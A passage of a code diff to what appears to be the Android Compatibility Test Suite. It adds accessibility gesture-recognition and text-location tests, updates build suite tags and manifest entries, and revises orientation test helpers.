+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.accessibilityservice.AccessibilityService;
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.graphics.Path;
+import android.graphics.Point;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.DisplayMetrics;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityEvent;
+import java.util.ArrayList;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+
+/**
+ * Verify that motion events are recognized as accessibility gestures.
+ */
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityGestureDetectorTest {
+
+ // Constants
+ static final float GESTURE_LENGTH_INCHES = 1.0f;
+ static final long STROKE_MS = 400;
+ static final long GESTURE_DISPATCH_TIMEOUT_MS = 3000;
+ static final long GESTURE_RECOGNIZE_TIMEOUT_MS = 3000;
+
+ // Member variables
+ StubService mService; // Test AccessibilityService that collects gestures.
+ boolean mHasTouchScreen;
+ boolean mScreenBigEnough;
+ int mStrokeLenPxX; // Gesture stroke size, in pixels
+ int mStrokeLenPxY;
+ Point mCenter; // Center of screen. Gestures all start from this point.
+ @Mock AccessibilityService.GestureResultCallback mGestureDispatchCallback;
+
+ @Before
+ public void setUp() throws Exception {
+ MockitoAnnotations.initMocks(this);
+
+ // Check that device has a touch screen.
+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ PackageManager pm = instrumentation.getContext().getPackageManager();
+ mHasTouchScreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+ || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+ if (!mHasTouchScreen) {
+ return;
+ }
+
+ // Find screen size, check that it is big enough for gestures.
+ // Gestures will start in the center of the screen, so we need enough horiz/vert space.
+ WindowManager windowManager = (WindowManager) instrumentation.getContext()
+ .getSystemService(Context.WINDOW_SERVICE);
+ final DisplayMetrics metrics = new DisplayMetrics();
+ windowManager.getDefaultDisplay().getRealMetrics(metrics);
+ mCenter = new Point((int) metrics.widthPixels / 2, (int) metrics.heightPixels / 2);
+ mStrokeLenPxX = (int)(GESTURE_LENGTH_INCHES * metrics.xdpi);
+ mStrokeLenPxY = (int)(GESTURE_LENGTH_INCHES * metrics.ydpi);
+ mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES)
+ && (metrics.heightPixels / (2 * metrics.ydpi) > GESTURE_LENGTH_INCHES);
+ if (!mScreenBigEnough) {
+ return;
+ }
+
+ // Start stub accessibility service.
+ mService = StubService.enableSelf(instrumentation);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (!mHasTouchScreen || !mScreenBigEnough) {
+ return;
+ }
+ mService.runOnServiceSync(() -> mService.disableSelf());
+ }
+
+ @Test
+ public void testRecognizeGesturePath() {
+ if (!mHasTouchScreen || !mScreenBigEnough) {
+ return;
+ }
+
+ // Compute gesture stroke lengths, in pixels.
+ final int dx = mStrokeLenPxX;
+ final int dy = mStrokeLenPxY;
+
+ // Test recognizing various gestures.
+ testPath(p(-dx, +0), AccessibilityService.GESTURE_SWIPE_LEFT);
+ testPath(p(+dx, +0), AccessibilityService.GESTURE_SWIPE_RIGHT);
+ testPath(p(+0, -dy), AccessibilityService.GESTURE_SWIPE_UP);
+ testPath(p(+0, +dy), AccessibilityService.GESTURE_SWIPE_DOWN);
+
+ testPath(p(-dx, +0), p(+0, +0), AccessibilityService.GESTURE_SWIPE_LEFT_AND_RIGHT);
+ testPath(p(-dx, +0), p(-dx, -dy), AccessibilityService.GESTURE_SWIPE_LEFT_AND_UP);
+ testPath(p(-dx, +0), p(-dx, +dy), AccessibilityService.GESTURE_SWIPE_LEFT_AND_DOWN);
+
+ testPath(p(+dx, +0), p(+0, +0), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_LEFT);
+ testPath(p(+dx, +0), p(+dx, -dy), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_UP);
+ testPath(p(+dx, +0), p(+dx, +dy), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_DOWN);
+
+ testPath(p(+0, -dy), p(-dx, -dy), AccessibilityService.GESTURE_SWIPE_UP_AND_LEFT);
+ testPath(p(+0, -dy), p(+dx, -dy), AccessibilityService.GESTURE_SWIPE_UP_AND_RIGHT);
+ testPath(p(+0, -dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_UP_AND_DOWN);
+
+ testPath(p(+0, +dy), p(-dx, +dy), AccessibilityService.GESTURE_SWIPE_DOWN_AND_LEFT);
+ testPath(p(+0, +dy), p(+dx, +dy), AccessibilityService.GESTURE_SWIPE_DOWN_AND_RIGHT);
+ testPath(p(+0, +dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_DOWN_AND_UP);
+ }
+
+ /** Convenient short alias to make a Point. */
+ private static Point p(int x, int y) {
+ return new Point(x, y);
+ }
+
+ /** Test recognizing path from PATH_START to PATH_START+delta. */
+ private void testPath(Point delta, int gestureId) {
+ testPath(delta, null, gestureId);
+ }
+
+ /** Test recognizing path from PATH_START to PATH_START+delta1 to PATH_START+delta2. */
+ private void testPath(Point delta1, Point delta2, int gestureId) {
+ // Create gesture motions.
+ int numPathSegments = (delta2 == null) ? 1 : 2;
+ long pathDurationMs = numPathSegments * STROKE_MS;
+ GestureDescription gesture = new GestureDescription.Builder()
+ .addStroke(new StrokeDescription(
+ linePath(mCenter, delta1, delta2), 0, pathDurationMs, false))
+ .build();
+
+ // Dispatch gesture motions.
+ // Use AccessibilityService.dispatchGesture() instead of Instrumentation.sendPointerSync()
+ // because accessibility services read gesture events upstream from the point where
+ // sendPointerSync() injects events.
+ mService.clearGestures();
+ mService.runOnServiceSync(() ->
+ mService.dispatchGesture(gesture, mGestureDispatchCallback, null));
+ verify(mGestureDispatchCallback,
+ timeout(GESTURE_DISPATCH_TIMEOUT_MS).atLeastOnce())
+ .onCompleted(any());
+
+ // Wait for gesture recognizer, and check recognized gesture.
+ mService.waitUntilGesture();
+ assertEquals(1, mService.getGesturesSize());
+ assertEquals(gestureId, mService.getGesture(0));
+ }
+
+ /** Create a path from startPoint, moving by delta1, then delta2. (delta2 may be null.) */
+ Path linePath(Point startPoint, Point delta1, Point delta2) {
+ Path path = new Path();
+ path.moveTo(startPoint.x, startPoint.y);
+ path.lineTo(startPoint.x + delta1.x, startPoint.y + delta1.y);
+ if (delta2 != null) {
+ path.lineTo(startPoint.x + delta2.x, startPoint.y + delta2.y);
+ }
+ return path;
+ }
+
+ /** Acessibility service stub, which will collect recognized gestures. */
+ public static class StubService extends InstrumentedAccessibilityService {
+
+ private ArrayList<Integer> mCollectedGestures = new ArrayList();
+
+ public static StubService enableSelf(Instrumentation instrumentation) {
+ return InstrumentedAccessibilityService.enableService(
+ instrumentation, StubService.class);
+ }
+
+ @Override
+ protected boolean onGesture(int gestureId) {
+ synchronized (mCollectedGestures) {
+ mCollectedGestures.add(gestureId);
+ mCollectedGestures.notifyAll(); // Stop waiting for gesture.
+ }
+ return true;
+ }
+
+ public void clearGestures() {
+ synchronized (mCollectedGestures) {
+ mCollectedGestures.clear();
+ }
+ }
+
+ public int getGesturesSize() {
+ synchronized (mCollectedGestures) {
+ return mCollectedGestures.size();
+ }
+ }
+
+ public int getGesture(int index) {
+ synchronized (mCollectedGestures) {
+ return mCollectedGestures.get(index);
+ }
+ }
+
+ /** Wait for onGesture() to collect next gesture. */
+ public void waitUntilGesture() {
+ synchronized (mCollectedGestures) {
+ if (mCollectedGestures.size() > 0) {
+ return;
+ }
+ try {
+ mCollectedGestures.wait(GESTURE_RECOGNIZE_TIMEOUT_MS);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+ }
+
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
index 122c9b8..1abb2ab 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
@@ -21,6 +21,7 @@
import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.Instrumentation;
import android.content.Context;
+import android.content.res.Resources;
import android.graphics.Region;
import android.provider.Settings;
import android.test.InstrumentationTestCase;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
index c08e208..ccbd1b5 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
@@ -25,13 +25,10 @@
import java.util.List;
-import com.android.compatibility.common.util.CddTest;
-
/**
* This test case is responsible to verify that the intent for launching
* accessibility settings has an activity that handles it.
*/
-@CddTest(requirement="3.10/C-1-3")
public class AccessibilitySettingsTest extends AndroidTestCase {
@MediumTest
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
index 0f8b9c0..abc759c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
@@ -18,6 +18,7 @@
import android.graphics.RectF;
import android.os.Bundle;
import android.os.Debug;
+import android.os.Message;
import android.os.Parcelable;
import android.text.SpannableString;
import android.text.Spanned;
@@ -25,7 +26,10 @@
import android.text.style.ClickableSpan;
import android.text.style.URLSpan;
import android.view.View;
+import android.view.accessibility.AccessibilityManager;
import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityNodeProvider;
+import android.view.accessibility.AccessibilityRequestPreparer;
import android.widget.EditText;
import android.widget.TextView;
@@ -34,10 +38,21 @@
import java.util.Arrays;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.List;
+import java.util.concurrent.atomic.AtomicReference;
import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH;
import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX;
import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
/**
* Test cases for actions taken on text views.
@@ -193,25 +208,10 @@
textAvailableExtraData.contains(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
assertNull("Text locations should not be populated by default",
text.getExtras().get(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
- Bundle getTextArgs = new Bundle();
- getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
- getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH,
- text.getText().length());
+ final Bundle getTextArgs = getTextLocationArguments(text);
assertTrue("Refresh failed", text.refreshWithExtraData(
AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
- final Parcelable[] parcelables = text.getExtras()
- .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
- final RectF[] locations = Arrays.copyOf(parcelables, parcelables.length, RectF[].class);
- assertEquals(text.getText().length(), locations.length);
- // The text should all be on one line, running left to right
- for (int i = 0; i < locations.length; i++) {
- assertEquals(locations[0].top, locations[i].top);
- assertEquals(locations[0].bottom, locations[i].bottom);
- assertTrue(locations[i].right > locations[i].left);
- if (i > 0) {
- assertTrue(locations[i].left > locations[i-1].left);
- }
- }
+ assertNodeContainsTextLocationInfoOnOneLineLTR(text);
}
public void testTextLocations_textOutsideOfViewBounds_locationsShouldBeNull() {
@@ -223,12 +223,9 @@
List<String> textAvailableExtraData = text.getAvailableExtraData();
assertTrue("Text view should offer text location to accessibility",
textAvailableExtraData.contains(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
- Bundle getTextArgs = new Bundle();
- getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
- getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH,
- text.getText().length());
+ final Bundle getTextArgs = getTextLocationArguments(text);
assertTrue("Refresh failed", text.refreshWithExtraData(
- AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+ EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
Parcelable[] parcelables = text.getExtras()
.getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
final RectF[] locationsBeforeScroll = Arrays.copyOf(
@@ -255,7 +252,7 @@
getInstrumentation().runOnMainSync(() -> editText.scrollTo(0, (int) oneLineDownY + 1));
assertTrue("Refresh failed", text.refreshWithExtraData(
- AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+ EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
parcelables = text.getExtras()
.getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
final RectF[] locationsAfterScroll = Arrays.copyOf(
@@ -266,6 +263,135 @@
assertNotNull(locationsAfterScroll[firstNullRectIndex]);
}
+ public void testTextLocations_withRequestPreparer_shouldHoldOffUntilReady() {
+ final TextView textView = (TextView) getActivity().findViewById(R.id.text);
+ makeTextViewVisibleAndSetText(textView, getString(R.string.a_b));
+
+ final AccessibilityNodeInfo text = mUiAutomation.getRootInActiveWindow()
+ .findAccessibilityNodeInfosByText(getString(R.string.a_b)).get(0);
+ final List<String> textAvailableExtraData = text.getAvailableExtraData();
+ final Bundle getTextArgs = getTextLocationArguments(text);
+
+ // Register a request preparer that will capture the message indicating that preparation
+ // is complete
+ final AtomicReference<Message> messageRefForPrepare = new AtomicReference<>(null);
+ // Use mockito's asynchronous signaling
+ Runnable mockRunnableForPrepare = mock(Runnable.class);
+
+ AccessibilityManager a11yManager =
+ getActivity().getSystemService(AccessibilityManager.class);
+ AccessibilityRequestPreparer requestPreparer = new AccessibilityRequestPreparer(
+ textView, AccessibilityRequestPreparer.REQUEST_TYPE_EXTRA_DATA) {
+ @Override
+ public void onPrepareExtraData(int virtualViewId,
+ String extraDataKey, Bundle args, Message preparationFinishedMessage) {
+ assertEquals(AccessibilityNodeProvider.HOST_VIEW_ID, virtualViewId);
+ assertEquals(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, extraDataKey);
+ assertEquals(0, args.getInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX));
+ assertEquals(text.getText().length(),
+ args.getInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH));
+ messageRefForPrepare.set(preparationFinishedMessage);
+ mockRunnableForPrepare.run();
+ }
+ };
+ a11yManager.addAccessibilityRequestPreparer(requestPreparer);
+ verify(mockRunnableForPrepare, times(0)).run();
+
+ // Make the extra data request in another thread
+ Runnable mockRunnableForData = mock(Runnable.class);
+ new Thread() {
+ @Override
+ public void run() {
+ assertTrue("Refresh failed", text.refreshWithExtraData(
+ EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+ mockRunnableForData.run();
+ }
+ }.start();
+
+ // The extra data request should trigger the request preparer
+ verify(mockRunnableForPrepare, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+ // Verify that the request for extra data didn't return. This is a bit racy, as we may still
+ // not catch it if it does return prematurely, but it does provide some protection.
+ getInstrumentation().waitForIdleSync();
+ verify(mockRunnableForData, times(0)).run();
+
+ // Declare preparation for the request complete, and verify that it runs to completion
+ messageRefForPrepare.get().sendToTarget();
+ verify(mockRunnableForData, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+ assertNodeContainsTextLocationInfoOnOneLineLTR(text);
+ a11yManager.removeAccessibilityRequestPreparer(requestPreparer);
+ }
+
+ public void testTextLocations_withUnresponsiveRequestPreparer_shouldTimeout() {
+ final TextView textView = (TextView) getActivity().findViewById(R.id.text);
+ makeTextViewVisibleAndSetText(textView, getString(R.string.a_b));
+
+ final AccessibilityNodeInfo text = mUiAutomation.getRootInActiveWindow()
+ .findAccessibilityNodeInfosByText(getString(R.string.a_b)).get(0);
+ final List<String> textAvailableExtraData = text.getAvailableExtraData();
+ final Bundle getTextArgs = getTextLocationArguments(text);
+
+ // Use mockito's asynchronous signaling
+ Runnable mockRunnableForPrepare = mock(Runnable.class);
+
+ AccessibilityManager a11yManager =
+ getActivity().getSystemService(AccessibilityManager.class);
+ AccessibilityRequestPreparer requestPreparer = new AccessibilityRequestPreparer(
+ textView, AccessibilityRequestPreparer.REQUEST_TYPE_EXTRA_DATA) {
+ @Override
+ public void onPrepareExtraData(int virtualViewId,
+ String extraDataKey, Bundle args, Message preparationFinishedMessage) {
+ mockRunnableForPrepare.run();
+ }
+ };
+ a11yManager.addAccessibilityRequestPreparer(requestPreparer);
+ verify(mockRunnableForPrepare, times(0)).run();
+
+ // Make the extra data request in another thread
+ Runnable mockRunnableForData = mock(Runnable.class);
+ new Thread() {
+ @Override
+ public void run() {
+ /*
+ * Don't worry about the return value, as we're timing out. We're just making
+ * sure that we don't hang the system.
+ */
+ text.refreshWithExtraData(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs);
+ mockRunnableForData.run();
+ }
+ }.start();
+
+ // The extra data request should trigger the request preparer
+ verify(mockRunnableForPrepare, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+
+ // Declare preparation for the request complete, and verify that it runs to completion
+ verify(mockRunnableForData, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+ a11yManager.removeAccessibilityRequestPreparer(requestPreparer);
+ }
+
+ private Bundle getTextLocationArguments(AccessibilityNodeInfo info) {
+ Bundle args = new Bundle();
+ args.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
+ args.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH, info.getText().length());
+ return args;
+ }
+
+ private void assertNodeContainsTextLocationInfoOnOneLineLTR(AccessibilityNodeInfo info) {
+ final Parcelable[] parcelables = info.getExtras()
+ .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
+ final RectF[] locations = Arrays.copyOf(parcelables, parcelables.length, RectF[].class);
+ assertEquals(info.getText().length(), locations.length);
+ // The text should all be on one line, running left to right
+ for (int i = 0; i < locations.length; i++) {
+ assertEquals(locations[0].top, locations[i].top);
+ assertEquals(locations[0].bottom, locations[i].bottom);
+ assertTrue(locations[i].right > locations[i].left);
+ if (i > 0) {
+ assertTrue(locations[i].left > locations[i-1].left);
+ }
+ }
+ }
+
private void onClickCallback() {
synchronized (mClickableSpanCallbackLock) {
mClickableSpanCalled.set(true);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index ab90d1e..18c02e5 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -45,6 +45,8 @@
import android.widget.Button;
import android.accessibilityservice.cts.R;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
@@ -601,10 +603,6 @@
@MediumTest
public void testWindowDockAndUndock_dividerWindowAppearsAndDisappears() throws Exception {
-
- ActivityManager activityManager = (ActivityManager) getInstrumentation().getContext()
- .getSystemService(Context.ACTIVITY_SERVICE);
-
if (getInstrumentation().getContext().getPackageManager()
.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
// Android TV doesn't support the divider window
@@ -623,14 +621,22 @@
// Do nothing, assume split screen multi window is supported.
}
- // ActivityManager determines Multiwindow support based on config config_supportMultiWindow
- // and isLowRam.
- if (!getInstrumentation().getContext().getResources().getBoolean(
- Resources.getSystem().getIdentifier("config_supportsMultiWindow", "bool",
- "android")) || activityManager.isLowRamDevice()) {
- // Check if multiWindow is supported.
+ /* In P as ActivityManager.supportsMultiWindow() becomes a @TestAPI
+ i.e. a compatibility requirement, make the test fail in the next API */
+ try {
+ final Method method = ActivityManager.class
+ .getMethod("supportsMultiWindow", Context.class);
+ if (!(Boolean)method.invoke(getInstrumentation().getContext().getSystemService(
+ ActivityManager.class), getInstrumentation().getContext())) {
+ // Check if multiWindow is supported.
+ return;
+ }
+ } catch (NoSuchMethodException e) {
+ } catch (IllegalAccessException e) {
+ } catch (InvocationTargetException e) {
return;
}
+
setAccessInteractiveWindowsFlag();
final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
assertFalse(isDividerWindowPresent(uiAutomation));
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
index 324cf33..2b6d2dd 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
@@ -7,6 +7,7 @@
import android.os.Handler;
import android.os.SystemClock;
import android.provider.Settings;
+import android.support.annotation.CallSuper;
import android.test.InstrumentationTestCase;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
@@ -36,6 +37,7 @@
@Override
+ @CallSuper
protected void onServiceConnected() {
synchronized (sInstances) {
sInstances.put(getClass(), new WeakReference<>(this));
diff --git a/tests/admin/Android.mk b/tests/admin/Android.mk
index 595c0a3..24fdda3 100644
--- a/tests/admin/Android.mk
+++ b/tests/admin/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsAdminTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_INSTRUMENTATION_FOR := CtsAdminApp
diff --git a/tests/admin/app/Android.mk b/tests/admin/app/Android.mk
index aac8a89..22b5c83 100644
--- a/tests/admin/app/Android.mk
+++ b/tests/admin/app/Android.mk
@@ -22,14 +22,14 @@
LOCAL_JAVA_LIBRARIES := guava
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsAdminApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index bb1dc10..6bd42ef 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -37,7 +37,7 @@
$(call all-java-files-under, appSdk25/src) \
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAppTestCases
diff --git a/tests/app/app/Android.mk b/tests/app/app/Android.mk
index 3c0a0c5..191f4cc 100644
--- a/tests/app/app/Android.mk
+++ b/tests/app/app/Android.mk
@@ -37,7 +37,7 @@
src/android/app/stubs/ISecondary.aidl
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAppTestStubs
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index b2412f65..7db0717 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -42,6 +42,7 @@
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.BODY_SENSORS" />
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+ <uses-permission android:name="android.permission.SET_WALLPAPER" />
<application android:label="Android TestCase"
android:icon="@drawable/size_48x48"
@@ -56,15 +57,6 @@
<activity android:name="android.app.stubs.ActionBarActivity" />
- <activity android:name="android.app.stubs.DialogStubActivity"
- android:label="DialogStubActivity"
- android:configChanges="keyboardHidden|orientation|screenSize">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
- </intent-filter>
- </activity>
-
<activity android:name="android.app.stubs.MockActivity" android:label="MockActivity">
<meta-data android:name="android.app.alias"
android:resource="@xml/alias" />
@@ -344,6 +336,16 @@
</intent-filter>
</activity>
+ <activity android:name="android.app.stubs.MetaDataMaxAspectRatioActivity"
+ android:label="MetaDataMaxAspectRatioActivity"
+ android:resizeableActivity="false">
+ <meta-data android:name="android.max_aspect" android:value="1.0" />
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+ </intent-filter>
+ </activity>
+
<activity android:name="android.app.stubs.MaxAspectRatioResizeableActivity"
android:label="MaxAspectRatioResizeableActivity"
android:resizeableActivity="true"
diff --git a/tests/app/app/src/android/app/stubs/DisplayTestActivity.java b/tests/app/app/src/android/app/stubs/DisplayTestActivity.java
index b5233da..e030ceb 100644
--- a/tests/app/app/src/android/app/stubs/DisplayTestActivity.java
+++ b/tests/app/app/src/android/app/stubs/DisplayTestActivity.java
@@ -27,12 +27,20 @@
* An {@link Activity} that exposes the underlying {@link Display} details.
*/
public class DisplayTestActivity extends Activity {
+ public final OrientationTestUtils.Observer configurationChangeObserver =
+ new OrientationTestUtils.Observer();
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
+ @Override
+ public void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ configurationChangeObserver.onObserved();
+ }
+
public Display getDisplay() {
return getSystemService(WindowManager.class).getDefaultDisplay();
}
diff --git a/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java b/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
new file mode 100644
index 0000000..2e989de
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+
+public class MetaDataMaxAspectRatioActivity extends Activity {
+
+}
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index 645a7ad..e9c9813 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -17,11 +17,14 @@
package android.app.stubs;
import android.app.Activity;
-import android.app.Instrumentation;
import android.content.pm.ActivityInfo;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+import static org.junit.Assert.assertTrue;
public class OrientationTestUtils {
-
/**
* Change the activity's orientation to something different and then switch back. This is used
* to trigger {@link Activity#onConfigurationChanged(android.content.res.Configuration)}.
@@ -29,45 +32,75 @@
* @param activity whose orientation will be changed and restored
*/
public static void toggleOrientation(Activity activity) {
- toggleOrientationSync(activity, null);
- }
-
- /**
- * Same as {@link #toggleOrientation(Activity)} except {@link Instrumentation#waitForIdleSync()}
- * is called after each orientation change.
- *
- * @param activity whose orientation will be changed and restored
- * @param instrumentation use for idle syncing
- */
- public static void toggleOrientationSync(final Activity activity,
- final Instrumentation instrumentation) {
- final int originalOrientation = activity.getResources().getConfiguration().orientation;
